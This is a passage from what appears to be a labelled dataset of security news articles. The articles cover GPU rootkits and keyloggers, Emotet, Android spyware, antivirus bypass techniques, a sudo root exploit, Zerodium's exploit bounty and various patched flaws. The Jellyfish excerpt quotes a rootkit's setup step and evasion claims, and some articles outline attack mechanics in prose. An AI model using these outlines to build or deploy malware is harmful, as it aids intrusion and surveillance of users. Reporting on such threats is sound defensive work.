""Jellyfish is a Linux based userland gpu rootkit proof of concept project utilizing the LD_PRELOAD technique from Jynx (CPU), as well as the OpenCL API developed by Khronos group (GPU). Code currently supports AMD and NVIDIA graphics cards. However, the AMDAPPSDK does support Intel as well.""

Advantages of GPU stored memory:
No GPU malware analysis tools are available on the Internet
Can snoop on CPU host memory via DMA (direct memory access)
GPU can be used for fast/swift mathematical calculations like parsing or XORing
Stubs
Malicious memory is still inside GPU after device shutdown

Requirements for use:
Have OpenCL drivers/icds installed
Nvidia or AMD graphics card (Intel supports AMD's SDK)
Change line 103 in rootkit/kit.c to server ip you want to monitor GPU client from

Stay tuned for more features:
client listener; let buffers stay stored in GPU until you send a magic packet from the server

The anonymous developers of the rootkit warned people that Jellyfish is a proof-of-concept malware and still a work in progress so that it can contain flaws. The code published on Github is intended to be used for educational purposes only.

DEMON KEYLOGGER

Moreover, the developers also built a separate, GPU-based keylogger, dubbed Demon though they did not provide any technical details about the tool.

Demon keylogger is also a proof-of-concept that is inspired by the malware described in a 2013 academic research paper [PDF] titled ""You Can Type, but You Can't Hide: A Stealthy GPU-based Keylogger,"" but the developers stressed that they were not working with the researchers.
""We are not associated with the creators of this paper,"" the Demon developers said. ""We only PoC'd what was described in it, plus a little more.""
As described in the research paper, GPU-based keystroke logger consists of two main components:
A CPU-based component that is executed once, during the bootstrap phase, with the task of locating the address of the keyboard buffer in main memory.
A GPU-based component that monitors, via DMA, the keyboard buffer, and records all keystroke events.
However, users may not worry about cyber criminals or hackers using GPU-based malware yet, but proof-of-concepts malware such as Jellyfish Rootkit and Demon keylogger could inspire future developments.

However, if exploited in future, What could be the area of attack vectors? Hit the comments below.

",Malware
Google Employees Help Thousands Of Open Source Projects Patch Critical 'Mad Gadget Bug',https://thehackernews.com/2017/03/google-mad-gadget-flaw.html,"Last year Google employees took an initiative to help thousands of Open Source Projects patch a critical remote code execution vulnerability in a widely used Apache Commons Collections (ACC) library.

Dubbed Operation Rosehub, the initiative was volunteered by some 50 Google employees, who utilized 20 percent of their work time to patch over 2600 open source projects on Github, those were vulnerable to ""Mad Gadget vulnerability.""

Mad Gadget vulnerability (CVE-2015-6420) is a remote code execution bug in the Java deserialization used by the Apache Commons Collections (ACC) library that could allow an unauthenticated, remote attacker to execute arbitrary code on a system.

The ACC Library is widely deployed by many Java applications to decode data passed between computers. To exploit this flaw, all an unauthorized attacker need to do is submit maliciously crafted input to an application on a targeted system that uses the ACC library.

Once the vulnerable ACC library on the affected system deserializes the content, the attacker could remotely execute arbitrary code on the compromised system, which could then be used to conduct further attacks.

Remember ransomware attack on Muni Metro System? Late last year, an anonymous hacker managed to infect and take over more than 2,000 computers using this same Mad Gadget flaw in the software used to operate San Francisco's public transport system.

Following the public disclosure of the Mad Gadget flaw, almost every commercial enterprise including Oracle, Cisco, Red Hat, VMWare, IBM, Intel, Adobe, HP, Jenkins, and SolarWinds formally disclosed that they had been impacted by this vulnerability and patched it in their software.

However, few months after all big businesses patched the flaw, one of the Google employees noticed that several prominent open source libraries were still depending on the vulnerable versions of ACC library.
""We recognized that the industry best practices had failed. An action was needed to keep the open source community safe. So rather than simply posting a security advisory asking everyone to address the vulnerability, we formed a task force to update their code for them. That initiative was called Operation Rosehub,"" Justine Tunney, Software Engineer on TensorFlow, wrote on Google Open Source Blog.
Under Operation Rosehub, patches were sent to many open source projects, although the Google employees were only able to patch open source projects on GitHub that directly referenced vulnerable versions of ACC library.

According to the Open Source Blog, if the San Francisco Municipal Transportation Agency's software systems had been open source, Google engineers would also have been able to deliver patches for Mad Gadget to them, and their systems would have never been compromised.

",Vulnerability
Microsoft Finally Releases Security Patches For Publicly-Disclosed Critical Flaws,https://thehackernews.com/2017/03/microsoft-patch-tuesday.html,"After last month's postponement, Microsoft's Patch Tuesday is back with a massive release of fixes that includes patches for security vulnerabilities in Windows and associated software disclosed and exploited since January's patch release.

Meanwhile, Adobe has also pushed out security updates for its products, releasing patches for at least seven security vulnerabilities in its Flash Player software.

Microsoft patched a total of 140 separate security vulnerabilities across 18 security bulletins, nine of them critical as they allow remote code execution on the affected computer.

Microsoft Finally Patches Publicly Disclosed Windows Flaws

Among the ""critical"" security updates include a flaw in the SMB (server message block) network file sharing protocol, which had publicly disclosed exploit code since last month. The original patch released last year for this flaw was incomplete.

The flaw is a memory corruption issue that could allow remote code execution (RCE) of a malicious code if an attacker sends specially crafted messages to a Microsoft SMBv1 server.

All versions of Microsoft Windows are affected by this issue that could allow a remote, unauthenticated attacker to crash systems with denial of service attack.
Microsoft admitted: ""Remote code execution vulnerabilities exist in the way that the Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests. An attacker who successfully exploited the vulnerabilities could gain the ability to execute code on the target server. To exploit the vulnerability, in most situations, an unauthenticated attacker could send a specially crafted packet to a targeted SMBv1 server.""
Microsoft patched the vulnerability but did not credit Laurent Gaffié, who found the flaw last year and released the exploit code in February.

Microsoft Also Patches Flaws Uncovered By Google

Another critical patch (MS17-013) contains a dozen of serious flaws in Windows' Graphics Component GDI Library used in Office, Skype, Lync, and Silverlight.

The flaws reside in the way Windows handles certain image files. Hackers can exploit the weaknesses to achieve remote code execution on your system by making you visit a booby-trapped website or open a malware-ridden document. No further user interaction is needed.

Google's Project Zero also disclosed this flaw with proof-of-concept exploit late last month before Microsoft had fixed it.

All supported releases of Microsoft Windows back to Windows Vista are vulnerable to this flaw. The tech giant originally patched this issue in June last year, but the patch was incomplete.

Microsoft also patched seven other critical flaws, including two cumulative updates for Internet Explorer and its Edge browser, and nine important ones.

In late last month, Google's Project Zero research team publicly disclosed details and proof-of-concept exploit for a code execution flaw in Microsoft's Internet Explorer and Edge browsers that could allow attackers to cause a crash of the browsers.

Meanwhile, Adobe also released patches for its Flash Player software for Windows, Macintosh, Linux and Chrome OS.

Users are advised to apply Windows as well as Adobe patches to keep away hackers and cybercriminals from taking control over your computer.

",Vulnerability
Evolution of Emotet: From Banking Trojan to Malware Distributor,https://thehackernews.com/2020/11/anyrun-emotet-malware-analysis.html,"Emotet is one of the most dangerous and widespread malware threats active today.
Ever since its discovery in 2014—when Emotet was a standard credential stealer and banking Trojan, the malware has evolved into a modular, polymorphic platform for distributing other kinds of computer viruses.
Being constantly under development, Emotet updates itself regularly to improve stealthiness, persistence, and add new spying capabilities.
This notorious Trojan is one of the most frequently malicious programs found in the wild. Usually, it is a part of a phishing attack, email spam that infects PCs with malware and spreads among other computers in the network.
If you'd like to find out more about the malware, collect IOCs, and get fresh samples, check the following article in the Malware trends tracker, the service with dynamic articles.
Emotet is the most uploaded malware throughout the past few years. Here below is the rating of uploads to ANY.RUN service in 2019, where users ran over 36000 interactive sessions of Emotet malware analysis online.
The malware has changed a lot over time, and with every new version, it gets more and more threatening for victims. Let's have a closer look at how it evolved.
When it was just like any other standard banking Trojan, the malware's main goal was to steal small companies' credentials, mainly in Germany and Austria. By faking invoices or other financial documents, it made users click on the links and let the malware in.
Later that year, it acquired a diverse modular architecture, whose primary focuses were downloading a malware payload, spreading onto as many machines as possible, and sending malicious emails to infect other organizations.
In early 2015 after a little break, Emotet showed up again. The public RSA key, new address lists, RC4 encryption were among the new features of Trojan. From this point, the victims' range started to increase — Swiss banks joined it. And overall, evasion techniques were improved a lot.
In recent versions, a significant change in the strategy has happened. Emotet has turned into polymorphic malware, downloading other malicious programs to the infected computer and the whole network as well. It steals data, adapts to various detection systems, rents the infected hosts to other cybercriminals as a Malware-as-a-Service model.
Since Emotet uses stolen emails to gain victims' trust, spam has consistently remained the primary delivery method for Emotet—making it convincing, highly successful, and dangerous.
For example, in 2018, the government system suffered an Emotet infection in Allentown, a city in eastern Pennsylvania, which cost them $1 million for recovery.
The whole city of Frankfurt had to shut down the network because of Emotet in 2019. Different kinds of organizations, from the government to small businesses, all public services were forced to stop their work via IT.
According to the latest research, Emotet is a worldwide threat that affects all kinds of spheres. Just look at the following map, Italy, Spain, and the United Arab Emirates are the top countries with the most attacked users.
Recently France, Japan, and New Zealand's cybersecurity companies have announced a rise in Emotet attacks targeting their countries.
Emotet then and now
According to a graph of the Emotet samples uploaded to ANY.RUN service, you can see the behavior of the malware in 2019 and 2020.
We can notice some similarities in its activity. For example, in June, Emotet tends to be on the decline. However, it seems to show an increasing trend from August till October. In 2019 the end of the year was very active for this kind of attack, so we can expect it to be on the rise this year as well.
Emotet has remained a threat for years as it changes permanently. Early versions differ from the current one, even by its intentions — Emotet has developed from the banking Trojan to the loader. When it comes to execution evolution and document templates, we will describe only versions that come after 2018. There were changes even over these two years, but the only thing that remains unchanged is delivery.
For distribution and user execution, Emotet is using malicious spam and documents with VBA macros. After a target downloads the attached malicious documents from an email and opens it, the Office document tricks the user into enabling the macro. After that, the embedded macro starts its execution, and subsequent scenarios may vary. The most common variant over the past years is that macros start a Base64 encoded Powershell script that later downloads an executable. But at this point, Emotet brings a lot of different executions.
Many variants come to its life when we talk about the initial steps after a maldoc was opened. VBA macro in Office documents can start cmd, Powershell, WScript, and, lately, for the first time, Сertutil was used by the Emotet's execution chain.
Other changes in the execution process happened in the chain between malicious documents and dropped/downloaded executable files.
Not only has the execution chain transformed over time, but also the Emotet's executable file itself — registry keys, files, and child processes in the file system. For example, in the 2018-2019 years, Emotet dropped its executable at the folder under a particular path and generated a filename and the name of a folder using a particular algorithm.
It changed the file name generation algorithm, process tree, and path generation algorithm for C2 communication.
Another big part that characterizes this malware family is the maldocs' templates it uses. They are continually changing, and most of the time, Emotet uses its own ones. But between them can also be found templates that previously were used to distribute other malware families such as Valak and Icedid.
Emotet from the ANY.RUN's perspective
Of course, the main challenge with Emotet is to find a way to identify it and understand its behavior, so after that, you could improve the weak points in security.
There is a tool that can give you a hand with that. ANY.RUN is an interactive online sandbox that detects, analyzes, and monitors cybersecurity threats, necessary if you deal with Emotet.
Moreover, ANY.RUN has a special tool — the research of public submissions. It's a vast database where users share their investigations. And quite often, Emotet becomes the ""hero"" of the day: it has a leading position of the most downloaded samples into ANY.RUN. That's why ANY.RUN's experience with the malware is interesting.
The first step of protecting your infrastructure from Emotet infection is — detecting the malware. ANY.RUN sandbox has outstanding tools for Emotet detection and analysis.
The online service deals with Emotet regularly. So, let's try the interactive approach for Emotet detection and investigate one of the samples together:
Here is a malicious attachment from the phishing email that we uploaded to ANY.RUN and immediately get the first results. The process tree on the right reflects all operations that were made.
As shown, the first process starts to create new files in the user directory. Then POwersheLL.exe connects to the network and downloads executable files from the Internet. The last one, winhttp.exe changes the autorun value in the registry and connects to the command-and-control server, both to retrieve instructions for subsequent malicious activities and exfiltrate stolen data.
And finally, Emotet was detected by network activity. Fresh Suricata rulesets from premium providers such as Proofpoint (Emerging Threats) and Positive Technologies are a big part of the detection process.
In addition, ANY.RUN offers a useful Fake Net feature. When turned on, it returns a 404 error that forces malware to reveal its C2 links that help collect Emotet's IOCs more efficiently. That helps malware analysts optimize their time as there is no need to deobfuscate it manually.
Interestingly, a set of malicious documents with the same template can have embedded VBA macro, leading to creating different execution chains. All of them have the main goal to trick a user who opened this maldoc to enable VBA macro.
If you'd like to take a look at all of those templates, just search by tag ""emotet-doc"" in ANY. RUN's public submissions — these maldocs are clustered by content similarity.
Conclusion
This kind of tendency proves that Emotet isn't going to give up or lose the ground. Its evolution showed that the malware develops very quickly and adapts to everything.
If your enterprise is connected to the Internet, the risks may be broader and deeper than you realize. That's why it's true that combating sophisticated threats like Emotet requires a concerted effort from both individuals and organizations.
Moreover, the goal of services like ANY.RUN is to be aware of such potential threats and help companies recognize malware early and avoid infections at any cost.
Analysis and detection with ANY.RUN is easy, and anyone can analyze a bunch of fresh samples every day.
What's more, the service is free to use and for downloading samples, and there is no doubt you can make use of ANY.RUN — just give it a try!

",Malware
SSH Backdoor accounts in multiple Barracuda Products,https://thehackernews.com/2013/01/ssh-backdoor-accounts-in-multiple.html,"Firewall, VPN and spam filtering products from Barracuda Networks contains hidden hard coded backdoor ed SSH accounts, that allow any hacker to remotely log in and root access sensitive information.

According to an advisory published by Stefan Viehböck of SEC Consult Vulnerability Lab reported the vulnerabilities in default firewall configuration and default user accounts on the unit. Barracuda were informed of the vulnerabilities at the end of November.

All Barracuda Networks appliances with the exception of the Barracuda Backup Server, Barracuda Firewall, and Barracuda NG Firewall are potentially affected i.e Barracuda Spam and Virus Firewall, Barracuda Web Filter, Barracuda Message Archiver, Barracuda Web Application Firewall, Barracuda Link Balancer, Barracuda Load Balancer, Barracuda SSL VPN, CudaTel.

Barracuda recommended that all customers immediately update their Barracuda security definitions to v2.0.5, ensure the products' security definitions are set to on, and check that they're using the most recent firmware. In an attempt to limit access to the backdoor, Barracuda added network rules which only allow access to SSH from certain IP addresses.

",Malware
56 Hackers Arrested in Cyber Crime 'Strike Week' Raids in UK,https://thehackernews.com/2015/03/hackers-arrested-cyber-crime.html,"The United Kingdom's National Crime Agency (NCA) has arrested 56 suspected hackers in a campaign against cybercrime called ""strike week.""

Law-enforcement officials conducted, in total, 25 separate operations across England, Scotland and Wales, and those arrested were suspected in a wide range of cyber crimes including:
Network intrusion and data theft from multinational companies and government agencies
Distributed Denial of Service (DDoS) attacks
Cyber-enabled fraud
Malicious software and virus development
The raids conducted by NCA were coordinated by its National Cyber Crime Unit (NCCU), special officers Metropolitan Police and Regional Organised Crime Unit's (ROCUs), associated with local forces around the UK.

The arrested hackers also include alleged hackers suspected of being behind attacks on Yahoo, the US Department of Defence (DoD), and PlayStation. The list of hackers arrested in the operation is given below:
A 23-year-old man was allegedly responsible for breaching a satellite communications system used by the US Department of Defense. The hacker accessed 'non-confidential contact information' of almost 800 users, including name, title, e-mail addresses and phone numbers and gained control over information from 34,400 devices, including IMEI numbers.
Another 21-year-old London man was arrested who is suspected of being an alleged member of the D33ds Company hacking collective, the group that hacked into Yahoo in 2012 and posted as many as 450,000 email addresses and passwords online.
An alleged member of the Lizard Squad, the infamous hacking group which claimed the responsibility for taking down the Xbox Live and PlayStation networks over Christmas, was arrested in Leeds, Yorkshire, BBC reports. Lizard Squad member is believed to be 16-year-old teenager who was also behind the attacks on as many as 350 websites, including Lenovo.
A 20-year-old man from Hackney, London was arrested on suspicion of committing a £15,000 phishing attack.
A 22-year-old was apprehended on suspicion of developing and distributing malware.
Many more suspects were arrested among above; you can read the NCA's full list of arrests here.
""The 56 arrests around the country this week are a result of the essential partnership activity with law enforcement, industry and government that is at the heart of fighting cybercrime,"" said Andy Archibald, Deputy Director of the NCA's National Cyber Crime Unit.
""Criminals need to realise that committing crime online will not make them anonymous to law enforcement. We are continuously working to track down and apprehend those seeking to utilise computers for criminal ends, and to disrupt the technical networks and infrastructures supporting international cyber crime.""
This is't first time when law-enforcement agencies have conducted such massive raids in cyber crimes cases. Last year, the Federal Bureau of Investigation (FBI) also conducted a massive raids in Europe and Australia, and arrested more than 100 customers of Blackshades Remote Administration Tool (RAT) malware.

Blackshades and other malware like it allows hackers to remotely control victims' computers, turning on webcams, stealing usernames and passwords for email and Web services, personal information, and launching further attacks on other computers, without the knowledge of the computer owner.

The malicious program modifies itself in such a way that it evade detection from the computer's antivirus software. Blackshades has been sold via PayPal and underground forums since at least 2010, which cost as little as $40.

However, the recent raids carried out by NCA didn't just target hackers behind well-known attacks or specific cyber crime. Instead it has arrested hackers behind phishing attacks, malware, and also companies that offered web hosting to known criminals.

'Strike week' also suggests that the agencies was monitoring each and every activity of cyber crimes as well as hackers and collecting strong evidences against them. Using that information, the officials raided and arrested a long list of cyber criminals.

",Malware
New Android Malware Framework Turns Apps Into Powerful Spyware,https://thehackernews.com/2018/08/android-malware-spyware.html,"Security researchers have uncovered a new, powerful Android malware framework that is being used by cybercriminals to turn legitimate apps into spyware with extensive surveillance capabilities—as part of what seems to be a targeted espionage campaign.

Legitimate Android applications when bundled with the malware framework, dubbed Triout, gain capabilities to spy on infected devices by recording phone calls, and monitoring text messages, secretly stealing photos and videos, and collecting location data—all without users' knowledge.

The strain of Triout-based spyware apps was first spotted by the security researchers at Bitdefender on May 15 when a sample of the malware was uploaded to VirusTotal by somebody located in Russia, but most of the scans came from Israel.

In a white paper (PDF) published Monday, Bitdefender researcher Cristofor Ochinca said the malware sample analyzed by them was packaged inside a malicious version of an Android app which was available on Google Play in 2016 but has since been removed.

The malware is extremely stealthy, as the repackaged version of the Android app kept the appearance and feel of the original app and function exactly like it—in this case, the researcher analyzed an adult app called 'Sex Game'— to trick its victims.

However, in reality, the app contains a malicious Triout payload that has powerful surveillance capabilities which steal data on users and sends it back to an attacker-controlled command and control (C&C) server.

According to the researcher, Triout can perform many spying operations once it compromises a system, including:
Recording every phone call, saving it in the form of a media file, and then sending it together with the caller id to a remote C&C server.
Logging every incoming SMS message to the remote C&C server.
Sending all call logs (with name, number, date, type, and duration) to the C&C server.
Sending every picture and video to the attackers whenever the user snaps a photo or record video, either with the front or rear camera.
Capability to hide itself on the infected device.
But despite the powerful capabilities of the malware, the researchers found that the malware does not use obfuscation, which helped the researchers get full access to its source code by merely unpacking the APK file—suggesting the malware is a work-in-progress.
""This could suggest the framework may be a work-in-progress, with developers testing features and compatibility with devices,"" Ochinca said.
""The C&C (command and control) server to which the application seems to be sending collected data appears to be operational, as of this writing, and running since May 2018.""

Although the researchers were unable to find how this repackaged version of the legitimate app was being distributed and how many times it was successfully installed, they believe the malicious app was delivered to victims either by third-party app stores or by other attacker-controlled domains likely used to host the malware.

Ochinca explains that the analyzed Triout sample was still signed with an authentic Google Debug Certificate.

At the time, no evidence points towards the attackers, or to determine who they are and where they are from, but what's clear is one thing that the attackers are highly skilled and full of resources to develop a sophisticated form of a spyware framework.

The best way to protect yourself from avoiding falling victims to such malicious apps is to always download apps from trusted sources, like Google Play Store, and stick only to verified developers.

Also, most important, think twice before granting any app permission to read your messages, access your call logs, your GPS coordinates, and any other data obtained via the Android's sensors.
",Malware
Malware Can Use This Trick to Bypass Ransomware Defense in Antivirus Solutions,https://thehackernews.com/2021/06/malware-can-use-this-trick-to-bypass.html,"Researchers have disclosed significant security weaknesses in popular antivirus software applications that could be abused to deactivate their protections and take control of allow-listed applications to perform nefarious operations on behalf of the malware to defeat anti-ransomware defenses.
The twin attacks, detailed by academics from the University of Luxembourg and the University of London, are aimed at circumventing the protected folder feature offered by antivirus programs to encrypt files (aka ""Cut-and-Mouse"") and disabling their real-time protection by simulating mouse ""click"" events (aka ""Ghost Control"").
""Antivirus software providers always offer high levels of security, and they are an essential element in the everyday struggle against criminals,"" said Prof. Gabriele Lenzini, chief scientist at the Interdisciplinary Center for Security, Reliability, and Trust at the University of Luxembourg. ""But they are competing with criminals which now have more and more resources, power, and dedication.""
Put differently, shortcomings in malware mitigation software could not just permit unauthorized code to turn off their protection features, design flaws in Protected Folders solution provided by antivirus vendors could be abused by, say, ransomware to change the contents of files using an app that's provisioned write access to the folder and encrypt user data, or a wipeware to irrevocably destroy personal files of victims.
Protected Folders allow users to specify folders that require an additional layer of protection against destructive software, thereby potentially blocking any unsafe access to the protected folders.
""A small set of whitelisted applications is granted privileges to write to protected folders,"" the researchers said. ""However, whitelisted applications themselves are not protected from being misused by other applications. This trust is therefore unjustified, since a malware can perform operations on protected folders by using whitelisted applications as intermediaries.""
An attack scenario devised by the researchers revealed that malicious code could be used to control a trusted application like Notepad to perform write operations and encrypt the victim's files stored in the protected folders. To this end, the ransomware reads the files in the folders, encrypts them in memory, and copies them to the system clipboard, following which the ransomware launches Notepad to overwrite the folder contents with the clipboard data.
Even worse, by leveraging Paint as a trusted application, the researchers found that the aforementioned attack sequence could be used to overwrite user's files with a randomly generated image to destroy them permanently.
Ghost Control attack, on the other hand, could have serious consequences of its own, as turning off real-time malware protection by simulating legitimate user actions performed on the user interface of an antivirus solution could permit an adversary to drop and execute any rogue program from a remote server under their control.
Of the 29 antivirus solutions evaluated during the study, 14 of them were found vulnerable to the Ghost Control attack, while all 29 antivirus programs tested were found to be at risk from the Cut-and-Mouse attack. The researchers didn't name the vendors who were affected.
If anything, the findings are a reminder that security solutions that are explicitly designed to safeguard digital assets from malware attacks can suffer from weaknesses themselves, thus defeating their very purpose. Even as antivirus software providers continue to step up defenses, malware authors have sneaked past such barriers through evasion and obfuscation tactics, not to mention bypassing their behavioral detection using adversarial inputs via poisoning attacks.
""Secure composability is a well-known problem in security engineering,"" the researchers said. ""Components that, when taken in isolation, offer a certain known attack surface do generate a wider surface when integrated into a system. Components interact one another and with other parts of the system create a dynamic with which an attacker can interact too and in ways that were not foreseen by the designer.""

",Malware
Apple Mac OS X Vulnerability enables Root User to Hackers by resetting the clock,https://thehackernews.com/2013/08/apple-mac-os-x-vulnerability-enables.html,"Do you think, because you're using an Apple Mac, your data is safe from hackers ? Well, it is not true, there are dozens of security weaknesses and today Researchers have made it easier to exploit Apple Mac OS X, that allows penetration testers and hackers to gain root access.

The flaw remained unmatched by Apple for the last five months, dubbed CVE-2013-1775, the flaw allowed attackers to bypass normal password authentication procedures by resetting the computer clock to January 1, 1970.
The reason that specific date is required is because it represents the beginning of time to the operating system and some applications that run on it. When the SUDO command is used in combination with a clock reset, the computer can be tracked into providing root access without a password.

Metasploit authors have come up with a brand new module that makes the bug even easier to exploit, renewing interest in the problem. The module gains a session with root permissions as long as the user ran the SUDO command before and as long as they have administrative privileges.

H.D. Moore, founder of Metasploit, warned that this was a serious vulnerability: ""The bug is significant because it allows any user-level compromise to become root, which in turn exposes things like clear-text passwords from Keychain and makes it possible for the intruder to install a permanent rootkit.""

In addition, the hacker needs to have either physical or remote access to the machine. Apple has yet to respond or issue a patch for the bug. As a result, all versions of the operating system from OS X 10.7 to the current 10.8.4 are affected.

Most of the recent exploits of Mac OS X have been related to Java, which Apple completely blocked earlier this year over security vulnerabilities.

",Vulnerability
iPhone Skype XSS Vulnerability Lets Hackers Steal Phonebook [Video],https://thehackernews.com/2011/09/iphone-skype-xss-vulnerability-lets.html,"iPhone Skype XSS Vulnerability Lets Hackers Steal Phonebook [Video]

A bug in the latest version of Skype for iPhone and iPod touch makes its users vulnerable to having their address book stolen just by viewing a specially crafted message, says AppSec Consulting security researcher Phil Purviance.

The problem is made more exploitable by the way Skype uses the embeddable WebKit browser; Skype developers have set the URI scheme for the embedded browser to ""file://"". This error allows an attacker to access the file system and read any file that the app would be allowed to read by the iOS application sandbox. One file that every iOS application has access to is the user's SQLlite AddressBook database. In a demonstration of the bugs, Phil Purviance, AppSec Consulting security researcher, showed how it was possible to extract the iPhone address book using the vulnerabilities.

Skype is aware of the issue and is working on a fix. ""We are working hard to fix this reported issue in our next planned release, which we hope to roll out imminently,"" Skype said in a statement.

Simple solution: Don't open text messages in the chat window, and check for a really quick update.

",Vulnerability
Zerodium Offers $1 Million for Tor Browser 0-Days That It will Resell to Governments,https://thehackernews.com/2017/09/tor-zero-day-exploits.html,"It seems like Tor Browser zero-day exploits are in high demand right now—so much so that someone is ready to pay ONE MILLION dollars.

Zerodium—a company that specialises in acquiring and reselling zero-day exploits—just announced that it will pay up to USD 1,000,000 for working zero-day exploits for the popular Tor Browser on Tails Linux and Windows operating system.

Tor browser users should take this news an early warning, especially who use Tails OS to protect their privacy.

Zero-day exploit acquisition platform has also published some rules and payout details on its website, announcing that the payout for Tor exploits with no JavaScript has been kept double than those with JavaScript enabled.

The company has also clearly mentioned that the exploit must leverage remote code execution vulnerability, the initial attack vector should be a web page and it should work against the latest version of Tor Browser.

Moreover, the zero-day Tor exploit must work without requiring any user interaction, except for victims to visit a web page.

Other attack vectors such as delivery via malicious document are not eligible for this bounty, but ZERODIUM may, at its sole discretion, make a distinct offer to acquire such exploits.

Zerodium to Sell Tor Browser 0-Days to Law Enforcement Agencies

Although the zero-day market has long been a lucrative business for private firms that regularly offer more payouts for undisclosed vulnerabilities than big technology companies, Zerodium says that it wants to resell the Tor browser exploits to law enforcement agencies to fight crime.

In a FAQ, the company has admitted that it will sell the acquired Tor zero-days to law enforcement agencies, and possibly the commercial malware development companies who sell spyware to governments.
""In many cases, [Tor] used by ugly people to conduct activities such as drug trafficking or child abuse. We have launched this special bounty for Tor Browser zero-days to help our government customers fight crime and make the world a better and safer place for all,"" Zerodium said.
In response to the Zerodium bounty program, Tor Project says that breaching the security of its anonymity software may risk lives of many users, including human rights defenders, activists, lawyers, and researchers, who rely on it.

The non-profit foundation also urges researchers and hackers to responsibly disclose vulnerabilities in Tor via its recently-launched bug bounty program.
""We think the amount of the bounty is a testament to the security we provide. We think it's in the best interest of all Tor users, including government agencies, for any vulnerabilities to be disclosed to us through our own bug bounty,"" Tor Project spokesperson told The Hacker News.
""Over 1.5 million people rely on Tor everyday to protect their privacy online, and for some it's life or death. Participating in Zerodium's program would put our most at-risk users' lives at stake.""

Payouts for Tor Browser 0-Day RCE Exploits

Here is the list of Zerodium's payouts for Tor Browser Exploits:

RCE and LPE to Root/SYSTEM for Tor Browser on Tails 3.x (64bit) and on Windows 10 RS3/RS2 (64bit) without JavaScript: $250,000
Only RCE (No LPE) for Tor Browser on Tails 3.x (64bit) and on Windows 10 RS3/RS2 (64bit) without JavaScript: $185,000
RCE+LPE to Root/SYSTEM for Tor Browser on Tails 3.x (64bit) and on Windows 10 RS3/RS2 (64bit) with JavaScript: $125,000
Only RCE (No LPE) for Tor Browser on Tails 3.x (64bit) and on Windows 10 RS3/RS2 (64bit) with JavaScript: $85,000
RCE and LPE to Root/SYSTEM for Tor Browser on Tails 3.x (64bit) OR on Windows 10 RS3/RS2 (64bit) without JavaScript: $200,000
Only RCE (No LPE) for Tor Browser on Tails 3.x (64bit) OR on Windows 10 RS3/RS2 (64bit) without JavaScript: $175,000
RCE and LPE to Root/SYSTEM for Tor Browser on Tails 3.x (64bit) OR on Windows 10 RS3/RS2 (64bit) with JavaScript: $100,000
Only RCE (No LPE) for Tor Browser on Tails 3.x (64bit) OR on Windows 10 RS3/RS2 (64bit) with JavaScript: $75,000


Those interested can submit their exploit until November 30th, 2017 at 6:00 pm EDT. The company also notes that the bounty may be terminated before its expiration if the total payout to researchers reaches one million U.S. dollars ($1,000,000).

",Vulnerability
Security Solutions for Beast attack against SSL/TLS Vulnerability,https://thehackernews.com/2011/09/security-solutions-for-beast-attack.html,"Security Solutions for Beast attack against SSL/TLS Vulnerability
Juliano Rizzo and Thai Duong presented a new attack on Transport Layer Security (TLS) at the Ekoparty security conference in Buenos Aires, Argentina. The researchers found that encryption, which should protect us, when we connect to some sites over HTTPS, may be compromised. The researchers say that their code is called BEAST (Browser Exploit Against SSL / TLS) prove to the world that any cryptographic protocol designed to TLS 1.1, is vulnerable and can be quite easily deciphered. Researchers try to decode the authentication cookies used to login to your account PayPal, within 10 minutes, far faster than anyone expected. If successful, the faith of Internet users in one of the pillars of online safety is fully dissipated.BEAST is different from the many published attacks against HTTPS, - said Dwan. - While other attacks are focused on property, authenticity SSL, BEAST Attacks privacy protocol. As far as we know, BEAST implements first attack, which actually decodes requests HTTPS.

Cisco provide some solutions related to this attack on blog. Protocols TLS 1.1 and 1.2 do not have a similar vulnerability, Additionally, TLS versions 1.1 (RFC 4346) and 1.2 (RFC 5246) are not affected by this issue. In TLS version 1.1 the implicit Initialization Vector (IV) was replaced with an explicit IV. Also, Datagram Transport Layer Security (DTLS) protocol versions 1.0 and 1.2 are not affected (DTLS is defined in RFC 4347). But these versions of the protocols are not supported any sites or some other popular browsers, and therefore the most popular sites currently are vulnerable. Almost all Web servers at the moment use SSL 3.0 or TLS 1.0. Of all the browsers support TLS 1.2 are only Opera, beginning with the tenth version, and Internet Explorer 8 on Windows 7 and above. Neither Mozilla Firefox, or Google Chrome TLS 1.1/1.2 is not currently supported.

Another thing to highlight is that OpenSSL implemented a feature where they send an ""empty TLS record"" immediately before they send a message. This empty TLS record causes a change in the CBC state where people consider it to give the message ""a new IV"" that the attacker can't predict. This feature in OpenSSL is disabled with the ""SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS"" option and it's also included in the ""SSL_OP_ALL"" option. In OpenSSL versions 0.9.6d and later, the protocol-level mitigation is enabled by default, thus making it not vulnerable to the BEAST attack.For applications that use OpenSSL, this ""empty-record"" trick can be enabled as a workaround. For a more permanent solution, the adoption of TLS 1.1/1.2 is what's needed.

Nickm from the Tor Project does a good job introducing the basics on his blog for people who don't know all the technical details about the TLS protocols and CBC.

",Vulnerability
Hackers can Spoof AT&T Phone Messages to steal your Information,https://thehackernews.com/2015/01/spoof-phone-messages.html,"Bad news for AT&T customers! You all are vulnerable to phishing scams – thanks to AT&T's text protocols. The actual problem lies in the way AT&T handles its customer alerts via text messages, as it's very easy for cybercriminals to mimic.

In ""Phishing"" attacks, scammers attempt to trick victims into revealing their personal and financial information by sending email or text messages that appear to be from legitimate companies. Instead of emails, here hackers have targeted AT&T users with the text messages.

According to Dani Grant, the computer programmer who discovered the flaw and reported to the company, AT&T is making use of plethora for short codes, due to which its customers unable to distinguish between the legitimate and phishing messages.

The second issue is that some of AT&T's real links directs its users to att.com while others take you to dl.mymobilelocate.com.
""Another problem is that AT&T directs customers to URLs like dl.mymobilelocation.com which aren't obviously associated with AT&T,"" Grant wrote. ""Every AT&T text looks like this, so customers learn to trust any text that claims to be from AT&T, no matter on what they're being asked to click.""
With little efforts, a scammer could send you alerts that look just like the legitimate one, as the ""customers of AT&T don't have a good way to know what texts are actually from their cell carrier, making AT&T an easy target to spoof.""

Last but not the least, the AT&T text messages don't even have a consistent format. Sometimes the messages start in all capital letters: ""AT&T FREE MSG"" and at other times the messages are in all lowercase: ""AT&T Free Msg.""

In order to test her findings, Grant set up her own short code as she was able to find a free trial for 30 days of short code. Then she bought a legitimate-looking website address (attmobilityllc.net) for $10.89 and sent a message. Now, nobody could find a difference between both?

